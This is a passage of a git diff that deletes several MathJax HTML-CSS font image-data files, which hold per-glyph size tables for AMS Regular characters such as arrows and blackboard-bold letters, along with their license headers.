7,26,8],[20,31,10],[23,36,11],[28,43,13],[33,52,16],[39,61,19],[46,72,22]],57370:[[5,7,2],[6,8,2],[7,10,3],[9,11,3],[10,13,4],[12,15,4],[14,18,5],[17,21,6],[20,26,8],[23,30,9],[28,35,10],[33,42,12],[39,51,15],[46,59,17]],57371:[[5,7,2],[6,9,3],[7,10,3],[8,11,3],[10,13,4],[12,16,5],[14,18,5],[17,21,6],[20,25,7],[23,30,9],[28,35,10],[33,42,12],[39,50,15],[46,59,17]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/AMS/Regular"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/PUA.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/SpacingModLetters.js b/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/SpacingModLetters.js
deleted file mode 100644
index 88e76e6f..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/SpacingModLetters.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/SpacingModLetters.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({MathJax_AMS:{710:[[18,3,-3],[21,3,-4],[25,3,-5],[29,4,-6],[34,5,-8],[40,5,-9],[47,6,-11],[56,8,-12],[66,8,-16],[79,10,-19],[93,12,-21],[110,14,-26],[131,17,-30],[156,20,-36]],732:[[17,2,-4],[21,2,-5],[24,4,-5],[29,5,-7],[34,4,-9],[40,5,-10],[47,6,-12],[56,6,-15],[66,8,-17],[78,9,-21],[93,11,-25],[110,13,-29],[130,15,-35],[155,18,-41]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/AMS/Regular"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/SpacingModLetters.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/SuppMathOperators.js b/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/SuppMathOperators.js
deleted file mode 100644
index 01faa5f7..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/SuppMathOperators.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/SuppMathOperators.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({MathJax_AMS:{10846:[[4,7,1],[5,8,1],[6,9,1],[7,12,2],[8,14,2],[10,16,2],[11,18,2],[13,22,3],[16,26,3],[19,31,4],[22,36,4],[26,43,5],[31,51,6],[37,61,7]],10877:[[5,7,2],[6,8,2],[8,9,2],[9,10,2],[10,11,2],[12,14,3],[14,16,3],[17,19,4],[20,22,4],[24,26,5],[28,31,6],[34,37,7],[40,44,8],[48,51,9]],10878:[[5,7,2],[6,8,2],[7,9,2],[9,10,2],[10,11,2],[12,14,3],[14,16,3],[17,19,4],[20,22,4],[23,26,5],[28,31,6],[33,37,7],[39,44,8],[46,51,9]],10885:[[5,8,2],[6,10,3],[7,11,3],[9,13,4],[10,15,4],[12,18,5],[14,21,6],[17,25,7],[20,31,9],[24,36,10],[29,42,12],[34,50,14],[40,60,17],[48,71,20]],10886:[[5,8,2],[6,10,3],[7,11,3],[9,13,4],[10,15,4],[12,18,5],[14,21,6],[17,25,7],[20,30,8],[24,36,10],[29,42,12],[34,50,14],[40,59,16],[48,70,19]],10887:[[5,7,2],[6,9,3],[7,10,3],[9,11,3],[10,13,4],[12,16,5],[14,18,5],[17,21,6],[20,25,7],[23,30,9],[28,35,10],[33,42,12],[39,50,14],[46,58,16]],10888:[[5,7,2],[6,9,3],[7,10,3],[9,11,3],[10,13,4],[12,16,5],[14,18,5],[17,21,6],[20,25,7],[23,30,9],[28,35,10],[33,42,12],[39,50,14],[46,58,16]],10889:[[5,9,3],[6,11,4],[8,12,4],[9,14,5],[10,17,6],[12,20,7],[14,23,8],[17,27,9],[20,33,11],[24,39,13],[29,46,16],[34,54,18],[40,65,22],[48,77,26]],10890:[[5,9,3],[6,11,4],[8,12,4],[9,14,5],[10,17,6],[12,20,7],[14,23,8],[17,27,9],[20,33,11],[24,39,13],[29,46,16],[34,54,18],[40,65,22],[48,77,26]],10891:[[5,11,4],[6,13,4],[7,15,5],[9,18,6],[10,21,7],[12,25,8],[14,30,10],[17,35,11],[20,41,13],[23,49,16],[28,59,19],[33,69,22],[39,82,26],[47,97,31]],10892:[[5,11,4],[6,13,4],[7,15,5],[9,18,6],[10,21,7],[12,25,8],[14,30,10],[17,35,11],[20,41,13],[23,49,16],[28,59,19],[33,69,22],[39,82,26],[46,97,31]],10901:[[5,6,1],[6,8,2],[8,9,2],[9,10,2],[10,11,2],[12,14,3],[14,16,3],[17,19,4],[20,22,4],[24,26,5],[28,31,6],[34,37,7],[40,43,8],[48,52,10]],10902:[[5,6,1],[6,8,2],[7,9,2],[9,10,2],[10,11,2],[12,14,3],[14,16,3],[17,19,4],[20,22,4],[23,26,5],[28,31,6],[33,37,7],[39,43,8],[46,52,10]],10933:[[5,8,2],[6,10,3],[7,11,3],[9,13,4],[10,15,4],[12,18,5],[14,21,6],[17,25,7],[20,29,8],[23,35,10],[28,42,12],[33,49,14],[39,58,16],[46,69,19]],10934:[[5,8,2],[6,10,3],[7,11,3],[9,13,4],[10,15,4],[12,18,5],[14,21,6],[17,25,7],[20,29,8],[23,35,10],[28,42,12],[33,49,14],[39,58,16],[46,69,19]],10935:[[5,8,2],[6,10,3],[8,11,3],[9,13,4],[10,15,4],[12,18,5],[14,21,6],[17,25,7],[20,31,9],[24,36,10],[29,42,12],[34,50,14],[40,60,17],[48,71,20]],10936:[[5,8,2],[6,10,3],[8,11,3],[9,13,4],[10,15,4],[12,18,5],[14,21,6],[17,25,7],[20,31,9],[24,36,10],[29,42,12],[34,50,14],[40,60,17],[48,71,20]],10937:[[5,9,3],[6,10,3],[8,12,4],[9,13,4],[10,16,5],[12,19,6],[15,22,7],[17,26,8],[20,32,10],[24,38,12],[29,44,14],[34,52,16],[40,62,19],[48,73,22]],10938:[[5,9,3],[6,10,3],[8,12,4],[9,13,4],[10,16,5],[12,19,6],[15,22,7],[17,26,8],[20,32,10],[24,38,12],[29,44,14],[34,52,16],[40,62,19],[48,73,22]],10949:[[5,8,2],[6,9,2],[7,10,2],[9,12,3],[10,14,3],[12,17,4],[14,20,5],[16,23,5],[20,28,7],[23,33,8],[27,39,9],[32,46,11],[39,55,13],[46,65,15]],10950:[[5,8,2],[6,9,2],[7,10,2],[9,12,3],[10,14,3],[12,17,4],[14,19,4],[17,23,5],[20,27,6],[24,32,7],[28,39,9],[33,46,10],[39,54,12],[47,64,14]],10955:[[5,9,3],[6,11,4],[7,12,4],[9,15,5],[10,17,6],[12,20,7],[14,24,8],[17,28,9],[20,33,11],[23,39,13],[28,47,16],[33,55,18],[39,66,22],[46,78,26]],10956:[[5,9,3],[6,11,4],[7,12,4],[9,14,5],[10,17,6],[12,20,7],[14,24,8],[17,28,9],[20,33,11],[23,39,13],[28,47,16],[33,55,18],[39,66,22],[46,78,26]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/AMS/Regular"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/SuppMathOperators.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/Arrows.js b/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/Arrows.js
deleted file mode 100644
index ec6c374e..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/Arrows.js
+++ /dev/null
@@ -1,185 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/Arrows.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_AMS": {
-    0x2190: [  // LEFTWARDS ARROW
-      [3,3,0],[4,4,0],[5,5,0],[5,5,0],[6,6,0],[7,7,-1],[9,8,-1],[10,10,-1],
-      [12,11,-1],[14,13,-2],[17,16,-2],[20,19,-2],[24,21,-3],[28,25,-4]
-    ],
-    0x2192: [  // RIGHTWARDS ARROW
-      [3,4,0],[4,4,0],[5,5,0],[5,5,0],[6,7,0],[7,7,-1],[9,8,-1],[10,10,-1],
-      [12,12,-1],[14,13,-2],[17,16,-2],[20,18,-3],[23,22,-3],[28,25,-4]
-    ],
-    0x219A: [  // LEFTWARDS ARROW WITH STROKE
-      [7,4,0],[8,4,0],[10,5,0],[12,5,0],[14,7,0],[16,7,-1],[19,8,-1],[22,9,-1],
-      [27,11,-1],[31,14,-1],[37,16,-2],[44,19,-2],[53,22,-3],[62,26,-3]
-    ],
-    0x219B: [  // RIGHTWARDS ARROW WITH STROKE
-      [7,4,0],[8,4,0],[10,5,0],[12,5,0],[14,7,0],[16,7,-1],[19,8,-1],[22,9,-1],
-      [27,11,-1],[31,14,-1],[37,16,-2],[44,19,-2],[53,22,-3],[62,26,-3]
-    ],
-    0x219E: [  // LEFTWARDS TWO HEADED ARROW
-      [7,3,0],[8,4,0],[10,5,0],[12,5,0],[14,5,-1],[16,7,-1],[19,7,-1],[23,9,-1],
-      [27,10,-2],[32,12,-2],[38,14,-3],[45,16,-4],[53,20,-4],[63,23,-5]
-    ],
-    0x21A0: [  // RIGHTWARDS TWO HEADED ARROW
-      [7,3,0],[8,4,0],[10,5,0],[12,5,0],[14,5,-1],[16,7,-1],[19,7,-1],[22,9,-1],
-      [27,10,-2],[32,12,-2],[37,14,-3],[44,16,-4],[53,20,-4],[63,23,-5]
-    ],
-    0x21A2: [  // LEFTWARDS ARROW WITH TAIL
-      [8,3,0],[9,4,0],[11,5,0],[13,5,0],[15,5,-1],[18,6,-1],[21,8,-1],[24,9,-1],
-      [29,10,-2],[34,12,-2],[41,14,-3],[48,17,-3],[58,20,-4],[68,23,-5]
-    ],
-    0x21A3: [  // RIGHTWARDS ARROW WITH TAIL
-      [8,3,0],[9,4,0],[11,5,0],[13,5,0],[15,5,-1],[18,6,-1],[21,8,-1],[25,9,-1],
-      [30,10,-2],[35,12,-2],[42,14,-3],[49,17,-3],[59,20,-4],[70,23,-5]
-    ],
-    0x21AB: [  // LEFTWARDS ARROW WITH LOOP
-      [7,5,1],[8,6,1],[10,7,1],[12,8,1],[13,9,1],[16,11,1],[19,12,1],[23,16,2],
-      [27,18,2],[32,21,2],[38,25,2],[45,29,2],[53,35,3],[64,41,3]
-    ],
-    0x21AC: [  // RIGHTWARDS ARROW WITH LOOP
-      [7,5,1],[8,6,1],[10,7,1],[12,8,1],[13,9,1],[16,11,1],[19,13,2],[22,16,2],
-      [26,18,2],[31,21,2],[37,25,2],[44,29,2],[53,35,3],[62,41,3]
-    ],
-    0x21AD: [  // LEFT RIGHT WAVE ARROW
-      [10,3,0],[12,4,0],[14,5,0],[16,5,0],[19,5,-1],[23,7,-1],[26,7,-1],[31,9,-1],
-      [37,10,-2],[44,12,-2],[52,14,-3],[62,16,-4],[74,20,-4],[88,23,-5]
-    ],
-    0x21AE: [  // LEFT RIGHT ARROW WITH STROKE
-      [7,4,0],[8,4,0],[10,5,0],[12,5,0],[14,7,0],[16,7,-1],[19,8,-1],[22,9,-1],
-      [27,11,-1],[31,14,-1],[37,16,-2],[44,19,-2],[53,22,-3],[62,26,-3]
-    ],
-    0x21B0: [  // UPWARDS ARROW WITH TIP LEFTWARDS
-      [4,5,0],[4,6,0],[5,8,0],[6,9,0],[7,10,0],[8,13,0],[9,15,1],[11,18,1],
-      [13,21,0],[15,24,0],[18,29,0],[21,34,0],[25,41,0],[30,48,0]
-    ],
-    0x21B1: [  // UPWARDS ARROW WITH TIP RIGHTWARDS
-      [4,5,0],[4,6,0],[5,8,0],[6,9,0],[7,10,0],[8,13,0],[9,15,1],[11,18,1],
-      [13,21,0],[15,24,0],[18,29,0],[21,34,0],[25,41,0],[30,48,0]
-    ],
-    0x21B6: [  // ANTICLOCKWISE TOP SEMICIRCLE ARROW
-      [7,4,0],[8,5,1],[10,6,1],[11,6,0],[13,7,0],[16,9,1],[19,10,1],[23,11,0],
-      [27,13,0],[32,17,1],[38,19,1],[45,23,1],[53,27,1],[63,32,1]
-    ],
-    0x21B7: [  // CLOCKWISE TOP SEMICIRCLE ARROW
-      [7,4,0],[9,5,1],[10,6,1],[12,6,0],[14,7,0],[17,8,0],[20,10,1],[23,11,0],
-      [28,13,0],[33,17,1],[39,19,1],[46,23,1],[55,27,1],[65,32,1]
-    ],
-    0x21BA: [  // ANTICLOCKWISE OPEN CIRCLE ARROW
-      [5,6,1],[6,7,1],[7,8,1],[9,9,1],[10,10,1],[12,13,2],[15,15,2],[17,18,2],
-      [21,21,3],[24,25,3],[29,30,4],[34,35,4],[41,41,5],[48,49,6]
-    ],
-    0x21BB: [  // CLOCKWISE OPEN CIRCLE ARROW
-      [5,6,1],[6,7,1],[7,8,1],[9,9,1],[10,10,1],[12,13,2],[14,15,2],[17,18,2],
-      [20,21,3],[24,25,3],[29,30,4],[34,35,4],[40,41,5],[48,49,6]
-    ],
-    0x21BE: [  // UPWARDS HARPOON WITH BARB RIGHTWARDS
-      [3,7,2],[4,8,2],[4,9,2],[5,12,3],[6,13,3],[7,16,4],[8,18,4],[9,22,5],
-      [11,26,6],[13,30,7],[15,36,8],[18,43,10],[21,50,11],[25,59,13]
-    ],
-    0x21BF: [  // UPWARDS HARPOON WITH BARB LEFTWARDS
-      [2,7,2],[2,8,2],[3,9,2],[3,12,3],[3,13,3],[4,16,4],[5,18,4],[6,22,5],
-      [7,26,6],[8,30,7],[9,36,8],[11,43,10],[13,50,11],[15,59,13]
-    ],
-    0x21C2: [  // DOWNWARDS HARPOON WITH BARB RIGHTWARDS
-      [3,7,2],[4,8,2],[4,9,2],[5,12,3],[6,13,3],[7,16,4],[8,18,4],[9,22,5],
-      [11,26,6],[13,30,7],[15,36,8],[18,43,10],[21,50,11],[25,59,13]
-    ],
-    0x21C3: [  // DOWNWARDS HARPOON WITH BARB LEFTWARDS
-      [2,7,2],[2,8,2],[3,9,2],[3,12,3],[3,13,3],[4,16,4],[5,18,4],[6,22,5],
-      [7,26,6],[8,30,7],[9,36,8],[11,43,10],[13,50,11],[15,59,13]
-    ],
-    0x21C4: [  // RIGHTWARDS ARROW OVER LEFTWARDS ARROW
-      [7,5,0],[8,6,0],[10,7,0],[12,9,1],[14,10,0],[16,13,1],[19,13,0],[22,17,1],
-      [27,19,0],[32,22,0],[37,27,0],[44,31,0],[53,37,0],[63,45,1]
-    ],
-    0x21C6: [  // LEFTWARDS ARROW OVER RIGHTWARDS ARROW
-      [7,5,0],[8,6,0],[10,7,0],[12,9,1],[14,10,0],[16,13,1],[19,13,0],[22,17,1],
-      [27,19,0],[32,22,0],[37,27,0],[44,31,0],[53,37,0],[63,45,1]
-    ],
-    0x21C7: [  // LEFTWARDS PAIRED ARROWS
-      [7,6,1],[8,6,1],[10,7,1],[12,9,2],[14,11,2],[16,12,2],[19,14,2],[22,17,3],
-      [27,20,3],[32,23,3],[37,27,4],[44,31,4],[53,38,5],[63,45,6]
-    ],
-    0x21C8: [  // UPWARDS PAIRED ARROWS
-      [6,7,2],[7,8,2],[8,9,2],[9,12,3],[11,13,3],[13,16,4],[15,18,4],[18,22,5],
-      [21,26,6],[25,30,7],[30,36,8],[35,42,9],[42,50,11],[49,59,13]
-    ],
-    0x21C9: [  // RIGHTWARDS PAIRED ARROWS
-      [7,6,1],[8,6,1],[10,7,1],[12,9,2],[14,11,2],[16,12,2],[19,14,2],[22,17,3],
-      [27,20,3],[32,23,3],[37,27,4],[44,31,4],[53,38,5],[63,45,6]
-    ],
-    0x21CA: [  // DOWNWARDS PAIRED ARROWS
-      [6,7,2],[7,8,2],[8,9,2],[9,12,3],[11,13,3],[13,16,4],[15,18,4],[18,22,5],
-      [21,26,6],[25,30,7],[30,36,8],[35,42,9],[42,50,11],[50,59,13]
-    ],
-    0x21CB: [  // LEFTWARDS HARPOON OVER RIGHTWARDS HARPOON
-      [7,5,1],[8,6,1],[10,7,1],[12,8,1],[14,9,1],[16,10,1],[19,11,1],[22,14,1],
-      [27,16,1],[32,18,1],[37,22,1],[44,25,1],[53,30,1],[63,35,1]
-    ],
-    0x21CC: [  // RIGHTWARDS HARPOON OVER LEFTWARDS HARPOON
-      [7,5,1],[8,6,1],[10,7,1],[12,8,1],[14,9,1],[16,10,1],[19,11,1],[22,14,1],
-      [27,16,1],[32,18,1],[37,22,1],[44,25,1],[53,30,1],[63,35,1]
-    ],
-    0x21CD: [  // LEFTWARDS DOUBLE ARROW WITH STROKE
-      [7,5,1],[8,6,1],[10,7,1],[12,8,1],[14,9,1],[16,10,1],[19,12,1],[22,14,1],
-      [27,16,1],[31,20,2],[37,23,2],[44,27,2],[53,33,3],[62,38,3]
-    ],
-    0x21CE: [  // LEFT RIGHT DOUBLE ARROW WITH STROKE
-      [7,5,1],[8,6,1],[10,7,1],[12,8,1],[14,9,1],[17,10,1],[19,12,1],[23,14,1],
-      [27,16,1],[32,19,1],[38,24,2],[45,27,2],[54,33,3],[64,38,3]
-    ],
-    0x21CF: [  // RIGHTWARDS DOUBLE ARROW WITH STROKE
-      [7,5,1],[8,6,1],[10,7,1],[12,8,1],[14,9,1],[16,10,1],[19,12,1],[22,14,1],
-      [27,16,1],[32,20,2],[37,23,2],[44,27,2],[53,33,3],[63,39,3]
-    ],
-    0x21DA: [  // LEFTWARDS TRIPLE ARROW
-      [7,6,1],[8,7,1],[10,8,2],[12,10,2],[14,11,2],[16,14,3],[19,14,2],[22,18,3],
-      [27,22,4],[32,25,4],[37,29,5],[44,35,6],[53,41,7],[63,49,8]
-    ],
-    0x21DB: [  // RIGHTWARDS TRIPLE ARROW
-      [7,6,1],[8,7,1],[10,8,2],[11,10,2],[13,11,2],[16,14,3],[18,14,2],[22,18,3],
-      [26,21,4],[31,25,4],[37,29,5],[43,34,5],[52,41,7],[61,49,8]
-    ],
-    0x21DD: [  // RIGHTWARDS SQUIGGLE ARROW
-      [7,3,0],[8,4,0],[10,5,0],[12,5,0],[14,5,-1],[16,7,-1],[19,7,-1],[22,9,-1],
-      [27,10,-2],[32,12,-2],[37,14,-3],[44,16,-4],[53,20,-4],[63,23,-5]
-    ],
-    0x21E0: [  // LEFTWARDS DASHED ARROW
-      [9,3,0],[11,4,0],[13,5,0],[15,5,0],[18,6,0],[21,7,-1],[25,8,-1],[29,10,-1],
-      [35,11,-1],[41,13,-2],[49,16,-2],[58,19,-2],[69,21,-3],[83,25,-4]
-    ],
-    0x21E2: [  // RIGHTWARDS DASHED ARROW
-      [9,4,0],[11,4,0],[13,5,0],[15,5,0],[18,7,0],[21,7,-1],[25,8,-1],[29,10,-1],
-      [35,12,-1],[42,13,-2],[49,16,-2],[58,18,-3],[70,22,-3],[82,25,-4]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/AMS/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/Arrows.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/BBBold.js b/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/BBBold.js
deleted file mode 100644
index 3ea51ac5..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/BBBold.js
+++ /dev/null
@@ -1,145 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/BBBold.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_AMS": {
-    0x20: [  // SPACE
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x41: [  // LATIN CAPITAL LETTER A
-      [5,5,0],[6,6,0],[7,7,0],[9,8,0],[10,10,0],[12,12,0],[14,14,0],[17,16,0],
-      [20,19,0],[23,23,0],[28,27,0],[33,33,0],[39,39,0],[46,46,0]
-    ],
-    0x42: [  // LATIN CAPITAL LETTER B
-      [5,5,0],[6,6,0],[7,7,0],[8,8,0],[9,9,0],[11,11,0],[13,13,0],[15,16,0],
-      [18,19,0],[21,22,0],[25,27,0],[29,32,0],[35,38,0],[41,45,0]
-    ],
-    0x43: [  // LATIN CAPITAL LETTER C
-      [5,5,0],[6,6,0],[7,7,0],[9,8,0],[10,10,0],[12,12,0],[14,14,0],[16,16,0],
-      [19,21,2],[23,24,1],[27,28,1],[32,34,1],[38,40,1],[45,48,2]
-    ],
-    0x44: [  // LATIN CAPITAL LETTER D
-      [5,5,0],[6,6,0],[7,7,0],[9,8,0],[10,9,0],[12,11,0],[14,13,0],[16,16,0],
-      [20,19,0],[23,22,0],[27,27,0],[32,32,0],[39,38,0],[46,45,0]
-    ],
-    0x45: [  // LATIN CAPITAL LETTER E
-      [5,5,0],[6,6,0],[7,7,0],[8,8,0],[9,9,0],[11,11,0],[13,13,0],[15,16,0],
-      [18,19,0],[22,22,0],[26,27,0],[30,32,0],[36,38,0],[43,45,0]
-    ],
-    0x46: [  // LATIN CAPITAL LETTER F
-      [5,5,0],[5,6,0],[6,7,0],[7,8,0],[9,9,0],[10,11,0],[12,13,0],[14,16,0],
-      [17,19,0],[20,22,0],[23,27,0],[27,32,0],[33,38,0],[39,45,0]
-    ],
-    0x47: [  // LATIN CAPITAL LETTER G
-      [6,5,0],[7,6,0],[8,7,0],[9,8,0],[11,10,0],[13,12,0],[15,14,0],[18,16,0],
-      [21,19,0],[25,24,1],[30,29,2],[35,33,0],[42,40,1],[50,47,1]
-    ],
-    0x48: [  // LATIN CAPITAL LETTER H
-      [6,5,0],[7,6,0],[8,7,0],[9,8,0],[11,9,0],[13,11,0],[15,13,0],[18,16,0],
-      [22,19,0],[26,22,0],[30,27,0],[36,32,0],[43,38,0],[51,45,0]
-    ],
-    0x49: [  // LATIN CAPITAL LETTER I
-      [3,5,0],[4,6,0],[4,7,0],[5,8,0],[6,9,0],[7,11,0],[8,13,0],[9,16,0],
-      [11,19,0],[13,22,0],[15,27,0],[18,32,0],[21,38,0],[25,45,0]
-    ],
-    0x4A: [  // LATIN CAPITAL LETTER J
-      [4,6,1],[4,7,1],[5,8,1],[6,9,1],[7,11,2],[8,13,2],[10,15,2],[12,18,2],
-      [14,21,2],[16,26,4],[19,30,3],[23,35,3],[27,42,4],[32,50,5]
-    ],
-    0x4B: [  // LATIN CAPITAL LETTER K
-      [6,5,0],[7,6,0],[8,7,0],[10,8,0],[11,9,0],[13,11,0],[15,13,0],[18,16,0],
-      [22,19,0],[26,22,0],[31,27,0],[36,32,0],[43,38,0],[51,45,0]
-    ],
-    0x4C: [  // LATIN CAPITAL LETTER L
-      [5,5,0],[6,6,0],[7,7,0],[8,8,0],[9,9,0],[11,11,0],[13,13,0],[15,16,0],
-      [18,19,0],[22,22,0],[26,27,0],[30,32,0],[36,38,0],[43,45,0]
-    ],
-    0x4D: [  // LATIN CAPITAL LETTER M
-      [7,5,0],[8,6,0],[10,7,0],[11,8,0],[13,9,0],[16,11,0],[19,13,0],[22,16,0],
-      [26,19,0],[31,22,0],[37,27,0],[44,32,0],[52,38,0],[61,45,0]
-    ],
-    0x4E: [  // LATIN CAPITAL LETTER N
-      [5,5,0],[6,6,0],[7,7,0],[9,9,0],[10,10,0],[12,12,0],[14,14,0],[17,17,0],
-      [20,21,1],[24,24,1],[28,29,1],[33,34,1],[39,40,1],[47,48,2]
-    ],
-    0x4F: [  // LATIN CAPITAL LETTER O
-      [6,5,0],[7,6,0],[8,7,0],[9,8,0],[11,10,0],[13,12,0],[15,14,0],[18,16,0],
-      [21,21,2],[25,24,1],[30,28,1],[35,34,1],[42,40,1],[49,48,2]
-    ],
-    0x50: [  // LATIN CAPITAL LETTER P
-      [5,5,0],[5,6,0],[6,7,0],[8,8,0],[9,9,0],[10,11,0],[12,13,0],[14,16,0],
-      [17,19,0],[20,22,0],[24,27,0],[28,32,0],[34,38,0],[40,45,0]
-    ],
-    0x51: [  // LATIN CAPITAL LETTER Q
-      [6,6,1],[7,8,2],[8,9,2],[9,10,2],[11,12,2],[13,15,3],[15,17,3],[18,20,4],
-      [21,24,5],[25,30,7],[30,35,8],[35,41,8],[42,49,10],[49,58,12]
-    ],
-    0x52: [  // LATIN CAPITAL LETTER R
-      [5,5,0],[6,6,0],[7,7,0],[9,8,0],[10,9,0],[12,11,0],[14,13,0],[17,16,0],
-      [20,19,0],[24,22,0],[28,27,0],[33,32,0],[39,38,0],[47,45,0]
-    ],
-    0x53: [  // LATIN CAPITAL LETTER S
-      [4,5,0],[5,6,0],[6,7,0],[7,8,0],[8,10,0],[9,12,0],[11,14,0],[13,16,0],
-      [15,19,0],[18,23,0],[21,27,0],[25,33,0],[30,40,1],[35,47,1]
-    ],
-    0x54: [  // LATIN CAPITAL LETTER T
-      [5,5,0],[6,6,0],[7,7,0],[8,8,0],[9,9,0],[11,11,0],[13,13,0],[15,16,0],
-      [18,19,0],[21,22,0],[25,27,0],[30,32,0],[36,38,0],[42,45,0]
-    ],
-    0x55: [  // LATIN CAPITAL LETTER U
-      [5,5,0],[6,6,0],[7,7,0],[9,8,0],[10,9,0],[12,11,0],[14,13,0],[17,16,0],
-      [20,19,0],[24,22,0],[28,28,1],[33,33,1],[40,39,1],[47,46,1]
-    ],
-    0x56: [  // LATIN CAPITAL LETTER V
-      [5,5,0],[6,6,0],[8,7,0],[9,8,0],[10,9,0],[12,11,0],[15,13,0],[17,16,0],
-      [20,20,1],[24,24,2],[29,28,1],[34,33,1],[40,39,1],[48,46,1]
-    ],
-    0x57: [  // LATIN CAPITAL LETTER W
-      [7,5,0],[9,6,0],[10,7,0],[12,8,0],[14,9,0],[17,11,0],[20,13,0],[24,16,0],
-      [28,20,1],[33,24,2],[39,28,1],[47,33,1],[55,39,1],[66,47,2]
-    ],
-    0x58: [  // LATIN CAPITAL LETTER X
-      [5,5,0],[6,6,0],[7,7,0],[9,8,0],[10,9,0],[12,11,0],[14,13,0],[17,16,0],
-      [20,19,0],[24,22,0],[28,27,0],[33,32,0],[39,38,0],[47,45,0]
-    ],
-    0x59: [  // LATIN CAPITAL LETTER Y
-      [5,5,0],[6,6,0],[7,7,0],[9,8,0],[10,9,0],[12,11,0],[14,13,0],[17,16,0],
-      [20,19,0],[24,22,0],[28,27,0],[33,32,0],[39,38,0],[47,45,0]
-    ],
-    0x5A: [  // LATIN CAPITAL LETTER Z
-      [5,5,0],[6,6,0],[7,7,0],[8,8,0],[9,9,0],[11,11,0],[13,13,0],[15,16,0],
-      [18,19,0],[21,22,0],[25,27,0],[30,32,0],[36,38,0],[42,45,0]
-    ],
-    0x6B: [  // LATIN SMALL LETTER K
-      [4,5,0],[5,6,0],[6,7,0],[7,8,0],[8,10,0],[9,12,0],[11,14,0],[13,16,0],
-      [15,19,0],[18,23,0],[21,27,0],[25,32,0],[30,38,0],[36,45,0]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/AMS/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/BBBold.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/BoxDrawing.js b/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/BoxDrawing.js
deleted file mode 100644
index 76f81e8e..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/BoxDrawing.js
+++ /dev/null
@@ -1,57 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/BoxDrawing.js
- *  
